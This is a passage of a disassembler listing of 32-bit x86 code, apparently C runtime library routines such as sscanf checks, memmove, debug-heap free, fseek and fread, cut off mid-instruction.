mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_419685: ; CODE XREF: sub_419670+3Dj cmp [ebp+arg_0], 0 jnz short loc_4196A9 push offset aStringNull ; "string != NULL" push 0 push 42h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4196A9 int 3 ; Trap to Debugger loc_4196A9: ; CODE XREF: sub_419670+19j ; sub_419670+36j xor edx, edx test edx, edx jnz short loc_419685 loc_4196AF: ; CODE XREF: sub_419670+67j cmp [ebp+arg_4], 0 jnz short loc_4196D3 push offset aFormatNull ; "format != NULL" push 0 push 43h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4196D3 int 3 ; Trap to Debugger loc_4196D3: ; CODE XREF: sub_419670+43j ; sub_419670+60j xor eax, eax test eax, eax jnz short loc_4196AF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 49h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+arg_0] push eax call sub_414EC0 add esp, 4 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_24] push ecx call sub_4236C0 add esp, 0Ch mov [ebp+var_28], eax mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419730(double) sub_419730 proc near ; CODE XREF: sub_40B76A+38p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_444EB0 push eax call sub_425B20 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_4197EB mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_425920 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_4197C2 cmp [ebp+var_10], 2 jle short loc_41978E cmp [ebp+var_10], 3 jz short loc_4197A7 jmp short loc_4197C2 ; --------------------------------------------------------------------------- loc_41978E: ; CODE XREF: sub_419730+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_425B20 add esp, 8 fld [ebp+arg_0] jmp loc_419861 ; --------------------------------------------------------------------------- loc_4197A7: ; CODE XREF: sub_419730+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Bh ; int call sub_424BE0 add esp, 10h jmp loc_419861 ; --------------------------------------------------------------------------- loc_4197C2: ; CODE XREF: sub_419730+4Ej ; sub_419730+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_434D30 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Bh ; int push 8 ; int call sub_424CB0 add esp, 1Ch jmp short loc_419861 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419730+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_424BC0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_419821 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_425B20 add esp, 8 fld [ebp+var_8] jmp short loc_419861 ; --------------------------------------------------------------------------- loc_419821: ; CODE XREF: sub_419730+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_419841 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_425B20 add esp, 8 fld [ebp+var_8] jmp short loc_419861 ; --------------------------------------------------------------------------- loc_419841: ; CODE XREF: sub_419730+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Bh ; int push 10h ; int call sub_424CB0 add esp, 1Ch loc_419861: ; CODE XREF: sub_419730+72j ; sub_419730+8Dj ... mov esp, ebp pop ebp retn sub_419730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419870 proc near ; CODE XREF: sub_417AB0+Cp ; DATA XREF: .data:off_444EBCo push ebp mov ebp, esp push ebx push esi push edi call sub_4198B0 call sub_425C60 mov dword_4DDFCC, eax call sub_425BE0 fnclex pop edi pop esi pop ebx pop ebp retn sub_419870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198A0 proc near ; DATA XREF: .data:00444EC0o ; .data:00444EC4o push ebp mov ebp, esp pop ebp retn sub_4198A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198B0 proc near ; CODE XREF: sub_419870+6p push ebp mov ebp, esp mov off_447838, offset sub_426350 mov off_44783C, offset sub_425D60 mov off_447840, offset sub_425E70 mov off_447844, offset sub_425CB0 mov off_447848, offset sub_425E40 mov off_44784C, offset sub_426350 pop ebp retn sub_4198B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4DDFC8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DDFC8, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41991C proc near ; CODE XREF: sub_40B76A+1Bp ; sub_40B76A+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41991C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419950(double) sub_419950 proc near ; CODE XREF: sub_40B7B6+79p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_444EC8 push eax call sub_425B20 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_419A0B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_425920 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_4199E2 cmp [ebp+var_10], 2 jle short loc_4199AE cmp [ebp+var_10], 3 jz short loc_4199C7 jmp short loc_4199E2 ; --------------------------------------------------------------------------- loc_4199AE: ; CODE XREF: sub_419950+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_425B20 add esp, 8 fld [ebp+arg_0] jmp loc_419A81 ; --------------------------------------------------------------------------- loc_4199C7: ; CODE XREF: sub_419950+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Ch ; int call sub_424BE0 add esp, 10h jmp loc_419A81 ; --------------------------------------------------------------------------- loc_4199E2: ; CODE XREF: sub_419950+4Ej ; sub_419950+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_434D30 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Ch ; int push 8 ; int call sub_424CB0 add esp, 1Ch jmp short loc_419A81 ; --------------------------------------------------------------------------- loc_419A0B: ; CODE XREF: sub_419950+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_424BC0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_419A41 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_425B20 add esp, 8 fld [ebp+var_8] jmp short loc_419A81 ; --------------------------------------------------------------------------- loc_419A41: ; CODE XREF: sub_419950+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_419A61 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_425B20 add esp, 8 fld [ebp+var_8] jmp short loc_419A81 ; --------------------------------------------------------------------------- loc_419A61: ; CODE XREF: sub_419950+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Ch ; int push 10h ; int call sub_424CB0 add esp, 1Ch loc_419A81: ; CODE XREF: sub_419950+72j ; sub_419950+8Dj ... mov esp, ebp pop ebp retn sub_419950 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A90 proc near ; CODE XREF: sub_40C00Dj ; sub_41CBB0+590p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_419AB0 cmp edi, eax jb loc_419C28 loc_419AB0: ; CODE XREF: sub_419A90+16j test edi, 3 jnz short loc_419ACC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_419AEC rep movsd jmp off_419BD8[edx*4] ; --------------------------------------------------------------------------- loc_419ACC: ; CODE XREF: sub_419A90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_419AE4 and eax, 3 add ecx, eax jmp dword ptr loc_419AEC+4[eax*4] ; --------------------------------------------------------------------------- loc_419AE4: ; CODE XREF: sub_419A90+46j jmp dword ptr loc_419BE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_419AEC: ; CODE XREF: sub_419A90+31j ; sub_419A90+8Ej ... jmp off_419B6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_419B00 dd offset loc_419B2C dd offset loc_419B50 ; --------------------------------------------------------------------------- loc_419B00: ; DATA XREF: sub_419A90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_419AEC rep movsd jmp off_419BD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_419B2C: ; DATA XREF: sub_419A90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_419AEC rep movsd jmp off_419BD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_419B50: ; DATA XREF: sub_419A90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_419AEC rep movsd jmp off_419BD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_419B6C dd offset loc_419BCF ; DATA XREF: sub_419A90:loc_419AECr dd offset loc_419BBC dd offset loc_419BB4 dd offset loc_419BAC dd offset loc_419BA4 dd offset loc_419B9C dd offset loc_419B94 dd offset loc_419B8C ; --------------------------------------------------------------------------- loc_419B8C: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_419B94: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_419B9C: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_419BA4: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_419BAC: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_419BB4: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_419BBC: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_419BCF: ; CODE XREF: sub_419A90:loc_419AECj ; DATA XREF: sub_419A90:off_419B6Co jmp off_419BD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_419BD8 dd offset loc_419BE8 ; DATA XREF: sub_419A90+35r ; sub_419A90+92r ... dd offset loc_419BF0 dd offset loc_419BFC dd offset loc_419C10 ; --------------------------------------------------------------------------- loc_419BE8: ; CODE XREF: sub_419A90+35j ; sub_419A90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_419BF0: ; CODE XREF: sub_419A90+35j ; sub_419A90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419BFC: ; CODE XREF: sub_419A90+35j ; sub_419A90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_419C10: ; CODE XREF: sub_419A90+35j ; sub_419A90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419C28: ; CODE XREF: sub_419A90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_419C5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_419C50 std rep movsd cld jmp off_419D70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_419C50: ; CODE XREF: sub_419A90+1B1j ; sub_419A90+208j ... neg ecx jmp off_419D20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_419C5C: ; CODE XREF: sub_419A90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_419C74 and eax, 3 sub ecx, eax jmp dword ptr loc_419C74+4[eax*4] ; --------------------------------------------------------------------------- loc_419C74: ; CODE XREF: sub_419A90+1D6j ; DATA XREF: sub_419A90+1DDr jmp off_419D70[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ecx+eax*2+419CA800h], bl add al, dl pushf inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_419C50 std rep movsd cld jmp off_419D70[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_419C50 std rep movsd cld jmp off_419D70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_419C50 std rep movsd cld jmp off_419D70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_419D24 dd offset loc_419D2C dd offset loc_419D34 dd offset loc_419D3C dd offset loc_419D44 dd offset loc_419D4C dd offset loc_419D54 off_419D20 dd offset loc_419D67 ; DATA XREF: sub_419A90+1C2r ; --------------------------------------------------------------------------- loc_419D24: ; DATA XREF: sub_419A90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_419D2C: ; DATA XREF: sub_419A90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_419D34: ; DATA XREF: sub_419A90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_419D3C: ; DATA XREF: sub_419A90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_419D44: ; DATA XREF: sub_419A90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_419D4C: ; DATA XREF: sub_419A90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_419D54: ; DATA XREF: sub_419A90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_419D67: ; CODE XREF: sub_419A90+1C2j ; DATA XREF: sub_419A90:off_419D20o jmp off_419D70[edx*4] ; --------------------------------------------------------------------------- align 10h off_419D70 dd offset loc_419D80 ; DATA XREF: sub_419A90+1B7r ; sub_419A90:loc_419C74r ... dd offset loc_419D88 dd offset loc_419D98 dd offset loc_419DAC ; --------------------------------------------------------------------------- loc_419D80: ; CODE XREF: sub_419A90+1B7j ; sub_419A90:loc_419C74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419D88: ; CODE XREF: sub_419A90+1B7j ; sub_419A90:loc_419C74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419D98: ; CODE XREF: sub_419A90+1B7j ; sub_419A90:loc_419C74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419DAC: ; CODE XREF: sub_419A90+1B7j ; sub_419A90:loc_419C74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_419A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DD0 proc near ; CODE XREF: sub_40C0F5+4p ; sub_4333F0+1Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_419DE2 jmp loc_419E6A ; --------------------------------------------------------------------------- loc_419DE2: ; CODE XREF: sub_419DD0+Bj push 9 call sub_41BC80 add esp, 4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_4], eax loc_419DF5: ; CODE XREF: sub_419DD0+7Bj mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jz short loc_419E47 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 1 jz short loc_419E47 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jz short loc_419E47 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 3 jz short loc_419E47 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 2Fh push offset dword_434D38 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_419E47 int 3 ; Trap to Debugger loc_419E47: ; CODE XREF: sub_419DD0+34j ; sub_419DD0+3Dj ... xor ecx, ecx test ecx, ecx jnz short loc_419DF5 mov edx, [ebp+var_4] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] push ecx call sub_415C60 add esp, 8 push 9 call sub_41BD20 add esp, 4 loc_419E6A: ; CODE XREF: sub_419DD0+Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419DD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E80 proc near ; CODE XREF: sub_40C148+Bp ; sub_412726+3Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1 mov eax, [ebp+arg_0] push eax call sub_4150F0 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_419E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419EA0 proc near ; CODE XREF: sub_419F60+7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_417C60 push 2 mov eax, dword_4DF694 push eax call sub_4160E0 add esp, 8 mov ecx, dword_4DF690 sub ecx, dword_4DF694 add ecx, 4 cmp eax, ecx jnb short loc_419F2D push 68h push offset dword_434D44 push 2 push 2 mov edx, dword_4DF694 push edx call sub_4160E0 add esp, 8 add eax, 10h push eax mov eax, dword_4DF694 push eax call sub_4155B0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_419F0A call sub_417C70 xor eax, eax jmp short loc_419F4F ; --------------------------------------------------------------------------- loc_419F0A: ; CODE XREF: sub_419EA0+5Fj mov ecx, dword_4DF690 sub ecx, dword_4DF694 sar ecx, 2 mov edx, [ebp+var_4] lea eax, [edx+ecx*4] mov dword_4DF690, eax mov ecx, [ebp+var_4] mov dword_4DF694, ecx loc_419F2D: ; CODE XREF: sub_419EA0+2Aj mov edx, dword_4DF690 mov eax, [ebp+arg_0] mov [edx], eax mov ecx, dword_4DF690 add ecx, 4 mov dword_4DF690, ecx call sub_417C70 mov eax, [ebp+arg_0] loc_419F4F: ; CODE XREF: sub_419EA0+68j mov esp, ebp pop ebp retn sub_419EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F60 proc near ; CODE XREF: .data:0040BBA7p ; sub_4336D0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_419EA0 add esp, 4 neg eax sbb eax, eax neg eax dec eax pop ebp retn sub_419F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F80 proc near ; DATA XREF: .data:0043701Co push ebp mov ebp, esp push 0B6h push offset dword_434D44 push 2 push 80h call sub_4150C0 add esp, 10h mov dword_4DF694, eax cmp dword_4DF694, 0 jnz short loc_419FB4 push 18h call sub_41AC70 add esp, 4 loc_419FB4: ; CODE XREF: sub_419F80+28j mov eax, dword_4DF694 mov dword ptr [eax], 0 mov ecx, dword_4DF694 mov dword_4DF690, ecx pop ebp retn sub_419F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD0 proc near ; CODE XREF: sub_40F3B8+26Ep ; sub_40F3B8+377p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_419FD7: ; CODE XREF: sub_419FD0+2Fj cmp [ebp+arg_0], 0 jnz short loc_419FFB push offset dword_43449C push 0 push 65h push offset dword_434D50 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_419FFB int 3 ; Trap to Debugger loc_419FFB: ; CODE XREF: sub_419FD0+Bj ; sub_419FD0+28j xor eax, eax test eax, eax jnz short loc_419FD7 mov ecx, [ebp+arg_0] push ecx call sub_41AE20 add esp, 4 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41A040 add esp, 0Ch mov [ebp+var_4], eax mov edx, [ebp+arg_0] push edx call sub_41AE90 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419FD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A040 proc near ; CODE XREF: sub_419FD0+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_41A047: ; CODE XREF: sub_41A040+32j cmp [ebp+arg_0], 0 jnz short loc_41A06E push offset dword_4344AC push 0 push 92h push offset dword_434D50 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41A06E int 3 ; Trap to Debugger loc_41A06E: ; CODE XREF: sub_41A040+Bj ; sub_41A040+2Bj xor eax, eax test eax, eax jnz short loc_41A047 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41A09B cmp [ebp+arg_8], 0 jz short loc_41A0AE cmp [ebp+arg_8], 1 jz short loc_41A0AE cmp [ebp+arg_8], 2 jz short loc_41A0AE loc_41A09B: ; CODE XREF: sub_41A040+47j call sub_4224D0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_41A160 ; --------------------------------------------------------------------------- loc_41A0AE: ; CODE XREF: sub_41A040+4Dj ; sub_41A040+53j ... mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_4] mov [eax+0Ch], edx cmp [ebp+arg_8], 1 jnz short loc_41A0DE mov ecx, [ebp+var_4] push ecx call sub_4265A0 add esp, 4 mov edx, [ebp+arg_4] add edx, eax mov [ebp+arg_4], edx mov [ebp+arg_8], 0 loc_41A0DE: ; CODE XREF: sub_41A040+81j mov eax, [ebp+var_4] push eax call sub_41B920 add esp, 4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_41A10B mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFCh mov edx, [ebp+var_4] mov [edx+0Ch], ecx jmp short loc_41A13F ; --------------------------------------------------------------------------- loc_41A10B: ; CODE XREF: sub_41A040+B8j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz short loc_41A13F mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 8 test eax, eax jz short loc_41A13F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 400h test edx, edx jnz short loc_41A13F mov eax, [ebp+var_4] mov dword ptr [eax+18h], 200h loc_41A13F: ; CODE XREF: sub_41A040+C9j ; sub_41A040+D6j ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_4263E0 add esp, 0Ch sub eax, 0FFFFFFFFh neg eax sbb eax, eax neg eax dec eax loc_41A160: ; CODE XREF: sub_41A040+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41A040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A170 proc near ; CODE XREF: sub_410A18+127p ; .data:004134E8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_41AE20 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41A1B0 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_41AE90 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41A170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B0 proc near ; CODE XREF: sub_41A170+20p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_41A1D9 xor eax, eax jmp loc_41A3C5 ; --------------------------------------------------------------------------- loc_41A1D9: ; CODE XREF: sub_41A1B0+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_41A1F4 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_41A1FB ; --------------------------------------------------------------------------- loc_41A1F4: ; CODE XREF: sub_41A1B0+37j mov [ebp+var_1C], 1000h loc_41A1FB: ; CODE XREF: sub_41A1B0+42j ; sub_41A1B0:loc_41A3BDj cmp [ebp+var_C], 0 jz loc_41A3C2 mov ecx, [ebp+arg_C] mov edx, 